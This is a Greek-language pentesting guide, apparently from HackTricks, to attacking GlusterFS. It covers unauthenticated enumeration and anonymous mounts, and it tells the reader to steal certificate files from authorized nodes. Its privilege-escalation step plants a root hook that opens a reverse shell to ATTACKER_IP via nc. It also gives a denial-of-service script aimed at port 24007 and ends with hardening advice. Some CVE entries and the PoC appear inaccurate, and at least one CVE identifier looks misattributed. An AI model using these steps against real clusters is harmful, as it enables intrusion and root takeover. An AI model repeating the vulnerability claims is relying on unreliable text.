# 24007-24008-24009-49152 - Pentesting GlusterFS {{#include ../banners/hacktricks-training.md}} ## Basic Information **GlusterFS** είναι ένα **κατανεμημένο σύστημα αρχείων** που συνδυάζει αποθήκευση από πολλούς διακομιστές σε ένα **ενιαίο όνομα χώρου**. Η διαχείριση δαίμονας (`glusterd`) ακούει από προεπιλογή σε **24007/TCP** και δίνει οδηγίες σε bricks του data-plane που ξεκινούν από **49152/TCP** (μία θύρα ανά brick, με αύξηση). Οι εκδόσεις πριν από την 9.x χρησιμοποιούσαν **24008–24009/TCP** για τη μεταφορά bricks, οπότε θα συναντήσετε αυτές τις θύρες σε κληρονομημένα clusters. ``` PORT STATE SERVICE VERSION 24007/tcp open glusterd GlusterFS (RPC) 49152/tcp open gluster-brick SSL (TLS optional) ``` > Συμβουλή: 24007 απαντά σε κλήσεις RPC ακόμη και όταν οι κόμβοι μόνο αποθήκευσης **δεν** εξάγουν κανένα όγκο; επομένως, η υπηρεσία είναι ένας αξιόπιστος στόχος pivot μέσα σε μεγάλες υποδομές. ## Αρίθμηση Εγκαταστήστε τα εργαλεία πελάτη στο επιτιθέμενο σύστημα σας: ```bash sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu ``` 1. **Ανακάλυψη ομότιμων & υγεία** ```bash # List peers (works without authentication in default setups) gluster --remote-host 10.10.11.131 peer status ``` 2. **Αναγνώριση όγκου** ```bash # Retrieve the list of all volumes and their configuration gluster --remote-host 10.10.11.131 volume info all ``` 3. **Μόνταρε χωρίς προνόμια** ```bash sudo mount -t glusterfs 10.10.11.131:/ /mnt/gluster ``` Αν η τοποθέτηση αποτύχει, ελέγξτε το `/var/log/glusterfs/-.log` στην πλευρά του πελάτη. Συχνά προβλήματα είναι: * Επιβολή TLS (`option transport.socket.ssl on`) * Έλεγχος πρόσβασης με βάση τη διεύθυνση (`option auth.allow `) ### Αντιμετώπιση προβλημάτων πιστοποιητικού Κλέψτε τα παρακάτω αρχεία από οποιονδήποτε εξουσιοδοτημένο κόμβο πελάτη και τοποθετήστε τα στο `/etc/ssl/` (ή στον κατάλογο που εμφανίζεται στο αρχείο καταγραφής σφαλμάτων): ``` /etc/ssl/glusterfs.pem /etc/ssl/glusterfs.key /etc/ssl/glusterfs.ca ``` --- ## Γνωστές Ευπάθειες (2022-2025) | CVE | Επηρεαζόμενες εκδόσεις | Επιπτώσεις | Σημειώσεις | |-----|-------------------|--------|-------| | **CVE-2022-48340** | 10.0–10.4, 11.0 | Χρήση μετά από απελευθέρωση στη `dht_setxattr_mds_cbk` προσβάσιμη μέσω του δικτύου | Απομακρυσμένο **DoS** και πιθανή RCE. Διορθώθηκε στην 10.4.1 / 11.1. | | **CVE-2023-26253** | < 11.0 | Ανάγνωση εκτός ορίων στον χειριστή ειδοποιήσεων FUSE | Απομακρυσμένη κατάρρευση μέσω κατασκευασμένων λειτουργιών FS; δημόσιο PoC διαθέσιμο. | | **CVE-2023-3775** | < 10.5 / 11.1 | Λανθασμένη επικύρωση δικαιωμάτων κατά την τοποθέτηση του `gluster_shared_storage` | Επιτρέπει σε οποιονδήποτε μη αυθεντικοποιημένο πελάτη να τοποθετήσει τον όγκο διαχειριστή – οδηγεί σε **priv-esc** που εξηγείται παρακάτω. | > Ελέγχετε πάντα το `gluster --version` **σε κάθε κόμβο**; ετερογενείς κλάστερ είναι συνηθισμένοι μετά από μερικές αναβαθμίσεις. ### Εκμετάλλευση του `gluster_shared_storage` (Αύξηση Δικαιωμάτων) Ακόμα και σε πρόσφατες εκδόσεις, πολλοί διαχειριστές αφήνουν τον ειδικό όγκο `gluster_shared_storage` αναγνώσιμο από όλους επειδή απλοποιεί τη γεω-αναπαραγωγή. Ο όγκος περιέχει πρότυπα cronjob που εκτελούνται με **root** σε κάθε κόμβο. ```bash # 1. Mount admin volume anonymously mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss # 2. Drop malicious script that gets synchronised cluster-wide cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh #!/bin/bash nc -e /bin/bash ATTACKER_IP 4444 & EOF chmod +x /tmp/gss/hooks/1/start/post/test.sh # 3. Wait until glusterd distributes the hook and executes it as root ``` Αν το `hooks/1/` δεν είναι παρόν, αναζητήστε το `/ss_bricks/` – η ακριβής διαδρομή μπορεί να διαφέρει με την κύρια έκδοση. ### Denial-of-Service PoC (CVE-2023-26253) ```python #!/usr/bin/env python3 # Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007 import socket, xdrlib, struct p = xdrlib.Packer(); p.pack_uint(0xdeadbeef) with socket.create_connection(("10.10.11.131",24007)) as s: s.send(struct.pack("!L", len(p.get_buffer())|0x80000000)) s.send(p.get_buffer()) ``` Η εκτέλεση του script προκαλεί κατάρρευση του `glusterfsd` < 11.0. --- ## Σκληροποίηση & Ανίχνευση * **Αναβάθμιση** – η τρέχουσα LTS είναι 11.1 (Ιούλιος 2025). Όλες οι CVEs παραπάνω έχουν διορθωθεί. * Ενεργοποιήστε το **TLS** για κάθε brick: ```bash gluster volume set transport.socket.ssl on gluster volume set transport.socket.ssl-cert /etc/ssl/glusterfs.pem ``` * Περιορίστε τους πελάτες με λίστες CIDR: ```bash gluster volume set auth.allow 10.0.0.0/24 ``` * Εκθέστε την θύρα διαχείρισης 24007 μόνο σε **ιδιωτικό VLAN** ή μέσω SSH tunnels. * Παρακολουθήστε τα logs: `tail -f /var/log/glusterfs/glusterd.log` και ρυθμίστε τη δυνατότητα **audit-log** (`volume set features.audit-log on`). --- ## Αναφορές * [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security) * [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash) {{#include ../banners/hacktricks-training.md}}